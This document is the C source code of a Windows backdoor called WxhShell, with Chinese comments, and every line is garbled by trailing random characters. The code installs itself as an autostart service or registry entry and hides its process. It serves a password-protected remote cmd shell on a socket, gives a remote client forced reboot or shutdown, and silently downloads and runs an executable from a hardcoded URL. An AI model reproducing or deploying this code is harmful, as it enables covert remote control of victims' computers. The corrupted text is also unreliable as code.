    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); mrId`<L5l{  
    if(Boot(SHUTDOWN)) 6ujePi <U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #P5tTCM  
    else { !/wR[`s9w  
    closesocket(wsh); 7FvtWE*  
    ExitThread(0); ar[*!:!  
    } =6^phZ(  
    break; 3e7P w`gLl  
    } \&. ]!!Q  
  // 获取shell iz5WWn^  
  case 's': { tC4 7P[b  
    CmdShell(wsh); a@}A;y'd  
    closesocket(wsh); %VmHw~xyF:  
    ExitThread(0); 0 V3`rK  
    break; e QGhX(  
  } oY8S-N;(t  
  // 退出 9~6)u=4sS"  
  case 'x': { N_eZz#);  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *g~\lFX,u  
    CloseIt(wsh); GMJ</xG  
    break; p 7eRAQ\'  
    } e9@7GaL`"S  
  // 离开 8nQjD<-  
  case 'q': { 0VBbSn}Z<  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); jce^Xf  
    closesocket(wsh); ,+hH|$  
    WSACleanup(); K3On8  
    exit(1); |A%Jx__  
    break; 'v:%} qMv  
        } 9e>Dqlv  
  } p`}'-A|@  
  } +ew9%={zB  
Ed+"F{!eQ  
  // 提示信息 ^;gwD4(hs  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M8}t`q[-&  
} f_qW+fN::s  
  } +`s%-}-r  
AV:P/M^B  
  return; 5\\a49k.p  
} R1lC_G]  
YNV4'  
// shell模块句柄 LH]<+Zren  
int CmdShell(SOCKET sock) @EV*QC2l;Y  
{ e SlZAdK  
STARTUPINFO si; S=.7$PY  
ZeroMemory(&si,sizeof(si)); *eb2()B%  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [K4wd%+  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; afNqK~  
PROCESS_INFORMATION ProcessInfo; 8dY Pn+`  
char cmdline[]="cmd"; w\QMA3  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); y1@*)| r  
  return 0; oGXndfd"  
} oP 4z>  
M9scZuj  
// 自身启动模式 WjVj@oC  
int StartFromService(void) mf\eg`'4?  
{ GfMCHs   
typedef struct TqN4OkCm/  
{ vk] vtjf&%  
  DWORD ExitStatus; G.[,P~yy.  
  DWORD PebBaseAddress; i6y$P6s  
  DWORD AffinityMask; X cDu&6Dy  
  DWORD BasePriority; 3sy|pa  
  ULONG UniqueProcessId; n%Df6zQ<@s  
  ULONG InheritedFromUniqueProcessId; l6O8:XI  
}   PROCESS_BASIC_INFORMATION; Vim*4^[#L  
@#CZ7~Hn  
PROCNTQSIP NtQueryInformationProcess; y_e$W3bON,  
"-HmXw1+t  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1QPS=;|)  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; CW9vC  
D8S3YdJ  
  HANDLE             hProcess; p3R: 3E6p  
  PROCESS_BASIC_INFORMATION pbi; svTKt%6X  
^^C@W?.z  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); yl'@p 5n  
  if(NULL == hInst ) return 0; (yB)rBh>n  
4>I >y@^  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _I1:|y  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); A;\1`_i0  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); quGv q"Y>  
4' MmT'  
  if (!NtQueryInformationProcess) return 0; -xk.wWpV  
|1[3RnG S  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); UBZ37P  
  if(!hProcess) return 0; ?!Bf# "TY  
6+s10?  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; wTw)GV4  
5y`n8. (?  
  CloseHandle(hProcess); $wBF'|eU  
znxP.=GB   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ]dj W^C]94  
if(hProcess==NULL) return 0; {BS}9jZx  
o&Vti"fpC  
HMODULE hMod; &?)? w-$p  
char procName[255]; ~#^suy?  
unsigned long cbNeeded; Or9"T]z  
XVwJr""+  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;p_@%*JAx  
m:  
  CloseHandle(hProcess); _hz}I>G@B  
V ~%C me  
if(strstr(procName,"services")) return 1; // 以服务启动 a#L:L8T;j  
pSC\[%K  
  return 0; // 注册表启动 #FNSE*Y  
} o,D7$WzL  
<jwQ&fm)/R  
// 主模块 !Yi2g -(  
int StartWxhshell(LPSTR lpCmdLine) ?Xq"Q^o4#e  
{ 9>I&Z8J$M  
  SOCKET wsl; (O@fgBM  
BOOL val=TRUE; uZ/XI {/  
  int port=0; g;n6hXq4  
  struct sockaddr_in door; V }?MP-.c  
rT mVHt  
  if(wscfg.ws_autoins) Install(); r|,_qNrw  
dvX[,*wz  
port=atoi(lpCmdLine); }8e_  
q@(MD3OE  
if(port<=0) port=wscfg.ws_port; mN&B|KWU  
SE7mn6,%\  
  WSADATA data; \a7caT{  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; B}U:c]  
+$;* "o  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;    2.>aL  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); M8{J  
  door.sin_family = AF_INET; `:>N.9'o  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); yRyUOTK  
  door.sin_port = htons(port); ]I<w;.z  
9(AY7]6  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `Hp=1a  
closesocket(wsl);  gmW-#.  
return 1; 3[Xc:;+/  
} =euMOs  
.X](B~\!  
  if(listen(wsl,2) == INVALID_SOCKET) { Qt+i0xd  
closesocket(wsl); b2 5.CGF  
return 1; ARd*c?Om  
} nd #owjB  
  Wxhshell(wsl); o6Jhl8  
  WSACleanup(); z55g'+Kab  
AdgZau[Y6  
return 0; E gD$A!6N8  
.:I^O[k  
} s$D"  
5>!I6[{  
// 以NT服务方式启动 pAtt=R,Ht  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ]*]#I?&'Hx  
{ =!N,{V_  
DWORD   status = 0; 8quH#IhB  
  DWORD   specificError = 0xfffffff; ZTg[}+0e  
|QHIB?C?`  
  serviceStatus.dwServiceType     = SERVICE_WIN32; o5;|14O  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; {TVQ]G%'b  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Memb`3  
  serviceStatus.dwWin32ExitCode     = 0; \f-@L;8#  
  serviceStatus.dwServiceSpecificExitCode = 0; <Eu/f`8  
  serviceStatus.dwCheckPoint       = 0; JH+uBZh6  
  serviceStatus.dwWaitHint       = 0; >v'@p  
j^)=<+Q;=  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *bl|[(pP  
  if (hServiceStatusHandle==0) return; 6c[Slq!KA  
ZU68\cL  
status = GetLastError(); Q79WGW  
  if (status!=NO_ERROR) 8JojKH  
{ 9l<}`/@}W  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; k!0vpps  
    serviceStatus.dwCheckPoint       = 0; E|"QYsi.Ck  
    serviceStatus.dwWaitHint       = 0; 9 Eqv^0u  
    serviceStatus.dwWin32ExitCode     = status; <El!,UBq<  
    serviceStatus.dwServiceSpecificExitCode = specificError; qE*hUzA  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZYLPk<<  
    return; AvZO R  
  } %zYTTPLZ  
xFA+Zj BC  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Pah*,  
  serviceStatus.dwCheckPoint       = 0; /:ju/ ~R}  
  serviceStatus.dwWaitHint       = 0; f64}#E|w  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 4K0Fc^-  
} orZwm9#].  
08_<G`r  
// 处理NT服务事件,比如:启动、停止 X- P%^mK  
VOID WINAPI NTServiceHandler(DWORD fdwControl) R@ MXwP  
{ 'byao03  
switch(fdwControl) 0 } |21YED  
{ (YY!e2  
case SERVICE_CONTROL_STOP: MZ%S3'  
  serviceStatus.dwWin32ExitCode = 0; %4x,^ K]  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; '-V[t yE  
  serviceStatus.dwCheckPoint   = 0; l9+)h }  
  serviceStatus.dwWaitHint     = 0; X&gXhr#dL\  
  { tpQ8 m(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;%mdSaf  
  } }*|aVBvU  
  return; ZK`x(h{p)  
case SERVICE_CONTROL_PAUSE: )&[Zw{6P  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; wpf  
  break; `,s0^?_  
case SERVICE_CONTROL_CONTINUE: Mi<}q@]e  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; T~naAP  
  break; Z|BOuB^   
case SERVICE_CONTROL_INTERROGATE: 9Idgib&  
  break; 5|g#>sx>`q  
}; `^: v+!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F> b<t.yV  
} *fp4u_:`  
tN_~zP  
// 标准应用程序主函数 "u3 N9  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) M5`wfF,j  
{ v%)=!T ,  
2#Y5*r's\  
// 获取操作系统版本 *n`8 -=  
OsIsNt=GetOsVer(); CA3`Ee+rD  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?MD\\gN  
tg;AF<VI  
  // 从命令行安装 7 aN}l QM  
  if(strpbrk(lpCmdLine,"iI")) Install(); 1Ba.'~:  
w -5_Ru  
  // 下载执行文件 ksV ^Y=]  
if(wscfg.ws_downexe) { t]6 4=  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) )%bY2 pk  
  WinExec(wscfg.ws_filenam,SW_HIDE); 6BObV/S Jg  
} l-q.VY2  
/ jN &VpDG  
if(!OsIsNt) { ka<rlh<h  
// 如果时win9x,隐藏进程并且设置为注册表启动 }qN   
HideProc(); *?!A  
StartWxhshell(lpCmdLine); 6D29s]h2  
} puK /;nns  
else Ql9 )  
  if(StartFromService()) #IxCI)!I{[  
  // 以服务方式启动 $`txU5#vs  
  StartServiceCtrlDispatcher(DispatchTable); #4{9l SbU  
else +.|8W!h`1  
  // 普通方式启动 lt|UehJ F  
  StartWxhshell(lpCmdLine); 84y#L[  
2KQpmNN  
return 0; dUP8[y  
} RQW<Sp~  
YA@OA$`E  
d~w}{LR[1  
29k\}m7l<*  
=========================================== }tPI#[cfK  
F}4jm,w  
Y -G;;~  
K2ry@haN  
8p.O rdp  
"uD^1'IW2  
" Zl7m:b2M  
_.BX#BIF  
#include <stdio.h> QE~#eo  
#include <string.h> wIK&EGQ  
#include <windows.h> [ FNA:  
#include <winsock2.h> [(/IV+  
#include <winsvc.h> A!p70km2  
#include <urlmon.h> Y 9~z7  
usOIbrQ  
#pragma comment (lib, "Ws2_32.lib") S<DS|qOo  
#pragma comment (lib, "urlmon.lib") >TwL&la  
P*6&0\af|  
#define MAX_USER   100 // 最大客户端连接数 Oxr?y8C~  
#define BUF_SOCK   200 // sock buffer )Tj\ym-Vl  
#define KEY_BUFF   255 // 输入 buffer J2Eb"y>/;  
Pt8 U0)i)  
#define REBOOT     0   // 重启 Xw<Nnvz6  
#define SHUTDOWN   1   // 关机 "~aCW~  
^r0mx{i&  
#define DEF_PORT   5000 // 监听端口 Wj#Gm  
5mF"nY&lI  
#define REG_LEN     16   // 注册表键长度 IQQWp@w#8  
#define SVC_LEN     80   // NT服务名长度 "P {T]  
F<N{ x^  
// 从dll定义API I:,D:00+  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 3qBZzM O*  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @M]7',2"  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); yf7$m_$C'  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); MYF6tZ*  
nh+f,HtSt  
// wxhshell配置信息 . [5{  
struct WSCFG { f iu?mb=*  
  int ws_port;         // 监听端口 jwZBWt )5  
  char ws_passstr[REG_LEN]; // 口令 w65D;9/;  
  int ws_autoins;       // 安装标记, 1=yes 0=no 3*$)9'  
  char ws_regname[REG_LEN]; // 注册表键名 i;8tA !  
  char ws_svcname[REG_LEN]; // 服务名 )gP0+W!u  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Z}4 `y"By  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 4O** %!|  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [G[|auKF  
int ws_downexe;       // 下载执行标记, 1=yes 0=no XhxCOpO  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ay,E!G&H  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 s7}46\/U  
RNn5,W  
}; s6J`i&uu  
-VlXZj@u+  
// default Wxhshell configuration isR|K9qf^  
struct WSCFG wscfg={DEF_PORT, '{xPdN  
    "xuhuanlingzhe", $E]W U?U  
    1, Wf>scl `s  
    "Wxhshell", h$~ \to$C  
    "Wxhshell", ?\NWKp  
            "WxhShell Service", #Jqa_$\.  
    "Wrsky Windows CmdShell Service", Q`7.-di  
    "Please Input Your Password: ", ?O<D&CvB  
  1, cN\Fgbt  
  "http://www.wrsky.com/wxhshell.exe", {expx<+4F  
  "Wxhshell.exe" QSq0{  
    }; v\:P _J  
m'P,:S)=  
// 消息定义模块 `@07n]KB  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; o7;#B)jWS  
char *msg_ws_prompt="\n\r? for help\n\r#>"; #0;ULZ99aH  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; yxz"9PE/P  
char *msg_ws_ext="\n\rExit."; f]Q`8nU  
char *msg_ws_end="\n\rQuit."; sHQ82uX  
char *msg_ws_boot="\n\rReboot..."; %\2w 1  
char *msg_ws_poff="\n\rShutdown..."; :gJ?3LwTf  
char *msg_ws_down="\n\rSave to "; I@<\DltPi  
Z&E!m   
char *msg_ws_err="\n\rErr!"; .#[==  
char *msg_ws_ok="\n\rOK!"; bI"_hvcFp  
\tx4bV#  
char ExeFile[MAX_PATH]; 3/q) %Z^=  
int nUser = 0; ).b,KSi  
HANDLE handles[MAX_USER]; ,aBo p#  
int OsIsNt; >=Pn\" j  
:v>Nz7SB  
SERVICE_STATUS       serviceStatus; t}]R0O.s  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; qoXncdDHZ  
^yo~C3 r~  
// 函数声明 >MeM  
int Install(void); n6Qsug$z  
int Uninstall(void); _pS |bqF  
int DownloadFile(char *sURL, SOCKET wsh); W dNOE;R  
int Boot(int flag); w( ^  
void HideProc(void); wfXm(RYM  
int GetOsVer(void);  nW*D  
int Wxhshell(SOCKET wsl); E'O[E=  
void TalkWithClient(void *cs); zZax![Z  
int CmdShell(SOCKET sock); t+?m<h6w;l  
int StartFromService(void); 7A mnxFC  
int StartWxhshell(LPSTR lpCmdLine); 9Oe~e  
q/lQEfR  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ?' :v): J}  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); awic9 uMH  
BQ7p<{G  
// 数据结构和表定义 Q'B2!9=LB  
SERVICE_TABLE_ENTRY DispatchTable[] = %P2l@}?a  
{ = olmBXn/  
{wscfg.ws_svcname, NTServiceMain}, yxx'g+D*  
{NULL, NULL} iir]M`A.-  
}; <_N<L\  
tr t^o  
// 自我安装 e 1$<,.>  
int Install(void) _sGmkJi]  
{ W1T% Q88  
  char svExeFile[MAX_PATH]; e(~9JP9  
  HKEY key; ^L@2%}6b`  
  strcpy(svExeFile,ExeFile); e: aa  
\_w>I_=F  
// 如果是win9x系统,修改注册表设为自启动 34gC[G=  
if(!OsIsNt) { 4Lb!Au|Y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~0 Ifg_G  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); hE|W%~Jx  
  RegCloseKey(key); 0mMoDJRy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G)G 257K"~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j @HOU~x  
  RegCloseKey(key); tvlrUp  
  return 0; [ u.r]\[J  
    } x [_SNX"  
  } O ;dtz\  
} 'fIoN%  
else { 'C2X9/!,  
s9)U",  
// 如果是NT以上系统,安装为系统服务 OD O'!T-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); O8Dav^\y?  
if (schSCManager!=0) p-Jp/*R5  
{ 9z$fDs}.q  
  SC_HANDLE schService = CreateService Sr#\5UDS  
  ( s1GR!*z>  
  schSCManager, N a $eeM  
  wscfg.ws_svcname, !JGe .U5  
  wscfg.ws_svcdisp, b?kY`LC  
  SERVICE_ALL_ACCESS, .;$Ub[  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , kR,ry:J-  
  SERVICE_AUTO_START, rd:WF(]  
  SERVICE_ERROR_NORMAL, ^kO+NH40  
  svExeFile, +>}LT_  
  NULL, (E{}iq@2  
  NULL, Nm7YH@x*o  
  NULL, Z)^1~!w0  
  NULL, l{o,"P"  
  NULL PptVneujI  
  ); R9z:K_d,  
  if (schService!=0) 6Lb(oY}\3  
  { 9Gc4mwu  
  CloseServiceHandle(schService); ~9[O'  
  CloseServiceHandle(schSCManager); Ht9QINo  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); *t%Z'IA  
  strcat(svExeFile,wscfg.ws_svcname); [`4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 0;Oe&Y  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); yCvP-?2  
  RegCloseKey(key); srCpgs]h  
  return 0; 77b^d9! ~  
    } ]T:a&DHC  
  } b$;qtfJG  
  CloseServiceHandle(schSCManager); _@5|r|P>  
} vk0b b3){D  
} 0Fw4}f.o  
DEw>f%&4  
return 1; tP][o494\&  
} BICG@  
.mbqsb]&Y  
// 自我卸载 @u @~gEt  
int Uninstall(void) 9]Fi2M  
{ 2rV]n  
  HKEY key; OAauD$Hh  
\_]X+o;  
if(!OsIsNt) { SNJSRqWL/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4OaU1Y[  
  RegDeleteValue(key,wscfg.ws_regname); tiGBjTPt  
  RegCloseKey(key); jP{&U&!i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { C<Z{G%Qm  
  RegDeleteValue(key,wscfg.ws_regname); vR3\E"Zi  
  RegCloseKey(key); f OasX!=  
  return 0; Lc#GBaJ  
  } 2{Y~jYt{h  
} z?^oy.  
} re~T,PPM  
else { m{;j r<  
p9>1a j2a  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); k5%W8dI  
if (schSCManager!=0) B[,AR"#b  
{ BPuum  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ?o6X_UxW!  
  if (schService!=0) M>_vsI^I'  
  { k-Yli21-/|  
  if(DeleteService(schService)!=0) { 'eo/"~/*w  
  CloseServiceHandle(schService); ; ,}Dh/&E  
  CloseServiceHandle(schSCManager); Z%Fc -KVt  
  return 0; Qhq' %LR  
  } 3_ly"\I\  
  CloseServiceHandle(schService); "ze-Mb  
  } } J[Z)u  
  CloseServiceHandle(schSCManager); PU,%Y_xR  
} UCt}\IJ  
} /go|r '  
6CCm1F{`  
return 1; Vel}lQD  
} %s! |,Cu  
f{.4# C'  
// 从指定url下载文件 q{ [!" ,  
int DownloadFile(char *sURL, SOCKET wsh) i\,I)S%yJ  
{ p|C[T]J\@  
  HRESULT hr; |h?2~D!+d  
char seps[]= "/"; n$F~  
char *token; Fw S>V2R  
char *file; uGv|!UQw  
char myURL[MAX_PATH]; {Q}F.0Q  
char myFILE[MAX_PATH]; Mg~4) DW]  
I>GBnx L  
strcpy(myURL,sURL); rz0)S py6  
  token=strtok(myURL,seps); en'"" w  
  while(token!=NULL) wRvh/{xB  
  { uzI=.j  
    file=token; (3"N~\9m  
  token=strtok(NULL,seps); RfOJUz  
  } 6O <UW.  
Mj{w/'  
GetCurrentDirectory(MAX_PATH,myFILE); Pa6pq;4St  
strcat(myFILE, "\\"); [#9i@40  
strcat(myFILE, file); * bd3^mP  
  send(wsh,myFILE,strlen(myFILE),0); EV?U !O  
send(wsh,"...",3,0); T](}jQxj`  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); R G*Vdom  
  if(hr==S_OK) \BuyJskE  
return 0; ^)wKS]BQ..  
else oOLey!uZw  
return 1; au04F]-|j8  
vK%*5  
} V2!0),]B  
!~&& &85  
// 系统电源模块 /Kd7# @  
int Boot(int flag) l n\qvD_  
{ 8IA1@0n&  
  HANDLE hToken; ?=ffv]v|  
  TOKEN_PRIVILEGES tkp; J#48c'  
,3!$mQL=  
  if(OsIsNt) { *E*oWb]H  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 'Oj 1@0*0  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); TF%Xb>jy[  
    tkp.PrivilegeCount = 1; c"v75lW-J  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; mU]VFPr5  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); [ /YuI@C,@  
if(flag==REBOOT) { .L+XV y  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) wk ^7/B  
  return 0; >{N}UNZ$}  
} `sCn4-$8  
else { ,sIC=V +  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) @AF<Xp{  
  return 0; V^,eW!  
} gfs;?vP  
  } \"1>NJn&k)  
  else { Z6rhInIY  
if(flag==REBOOT) { MoE&)~0u&  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) (c>g7d<>n  
  return 0; l2LLM{B  
} UrHndnqM  
else { +ID\u <?  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [lg!*  
  return 0; vjq2(I)u  
} HeO:=OE~>  
}  kDE-GX"Y  
=KUmvV*\  
return 1; a3>/B$pE  
} :{#O   
odSPl{.>d  
// win9x进程隐藏模块 G0{Z@CvO'  
void HideProc(void) >UMxlvTg&  
{ 4SZ,X^]I>  
1vxRhS&FY  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); P+0'^:J  
  if ( hKernel != NULL ) +?Ii=*7n  
  { eD?&D_l~6  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ly-(F2  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); W;'fAohr  
    FreeLibrary(hKernel); E?G'F3i  
  } J7* o%W*V  
iCPm7AU  
return; bDM},(  
} R>* z8n  
*^uK=CH1?(  
// 获取操作系统版本 %(1O jfZc  
int GetOsVer(void) ~<?Zj  
{ TIKkS*$  
  OSVERSIONINFO winfo; *3H=t$1G}  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _Xt/U>N  
  GetVersionEx(&winfo); Y>8Qj+d  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) N#K)Z5J)b  
  return 1; cry1gnWG  
  else 9F>`M  
  return 0; -;7xUNQ  
} "_q~S$i^  
 SvT0%2  
// 客户端句柄模块 l!f_ +lv  
int Wxhshell(SOCKET wsl) Qds<j{2  
{ rXi&8R[  
  SOCKET wsh; [zx|3wWAX-  
  struct sockaddr_in client; l S)^8  
  DWORD myID; '9zW#b  
 E.h  
  while(nUser<MAX_USER) 0&UG=q  
{ PjeI&@  
  int nSize=sizeof(client); |n/;x$Cb  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $<v4c5r]O  
  if(wsh==INVALID_SOCKET) return 1; dS ojq6M  
2%sZaM  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); (dq_ ,LI  
if(handles[nUser]==0) =/Gd<qz3  
  closesocket(wsh);  u]Ku96!  
else 6sBt6?_T  
  nUser++; mol,iM*l  
  } zr /v.$<  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Y"H`+UV  
1z PS#K/3  
  return 0; @."K"i'Bl  
} w.q`E@ T*  
hzsQK _;S  
// 关闭 socket 2y - QH  
void CloseIt(SOCKET wsh) &VGV0K3 Dp  
{ uu.X>agg  
closesocket(wsh); '4 *0Pw  
nUser--; _y~6b{T  
ExitThread(0); L5bq\  
} SBreA-2  
FJc8g6M  
// 客户端请求句柄 x/DV>Nfn  
void TalkWithClient(void *cs) 8ttJ\m  
{ ]q1w@)]n}  
= LNU%0m  
  SOCKET wsh=(SOCKET)cs; qWhW4$7x  
  char pwd[SVC_LEN]; Y~vk>ZC  
  char cmd[KEY_BUFF]; H?=W]<!W{y  
char chr[1]; :1A:g^n  
int i,j; #<xFO^TB  
w a_{\v=  
  while (nUser < MAX_USER) { 4Y8=  
: :>|[ND  
if(wscfg.ws_passstr) { ,{PN6B  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f'oTN!5WF  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); g{V(WyT@  
  //ZeroMemory(pwd,KEY_BUFF); ?>;aD  
      i=0; G}8tFo. d1  
  while(i<SVC_LEN) { 4 neZw'm  
C}h(WOcr`X  
  // 设置超时 ` IVQ  
  fd_set FdRead; 0`x>p6.)G  
  struct timeval TimeOut; AkQ(V  
  FD_ZERO(&FdRead); R! M'  
  FD_SET(wsh,&FdRead); @D;K&:~|N  
  TimeOut.tv_sec=8; \p(S4?I7  
  TimeOut.tv_usec=0; !, BJO3&  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); :^]Po$fl  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9WG=3!-@  
AwZ@)0Wy  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $mPR)T  
  pwd=chr[0]; uOv<*Jld*  
  if(chr[0]==0xd || chr[0]==0xa) { ZWCsrV*;  
  pwd=0; a fa\6]m  
  break; =Fz mifTc  
  } 8xLQ" l+"  
  i++; @&m [w'tn  
    } NPH(v`  
FEk9a^Xyx  
  // 如果是非法用户,关闭 socket Xex7Lr&  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); X%YZQc9  
} g$uiwqNA%  
wO,qFY  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +S~ u,=  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); { 4j<X5V  
:zU4K=kR  
while(1) { E{Wn&?i>A  
k9 r49lb  
  ZeroMemory(cmd,KEY_BUFF); c +]r  
vFe=AY<Rt|  
      // 自动支持客户端 telnet标准   t\/H.Hb  
  j=0; E <yQB39  
  while(j<KEY_BUFF) { (d &" @  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4BMu0["6|s  
  cmd[j]=chr[0]; f/sz/KC]~  
  if(chr[0]==0xa || chr[0]==0xd) { 2!6hB sEr  
  cmd[j]=0; (f&V 7n  
  break; +PYV-@q  
  } /(~ HHNnh  
  j++; zu}uW,XH-  
    } Vx!ZF+  
I%4eX0QY=z  
  // 下载文件 dcrvEc_/  
  if(strstr(cmd,"http://")) { 1O Ft}>1  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); lz`\Q6rZ  
  if(DownloadFile(cmd,wsh)) &- p(3$jn7  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~~{lIO)&  
  else |KJGM1]G  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ()|e xWW  
  } \l=A2i7TQ  
  else { y;ey(  
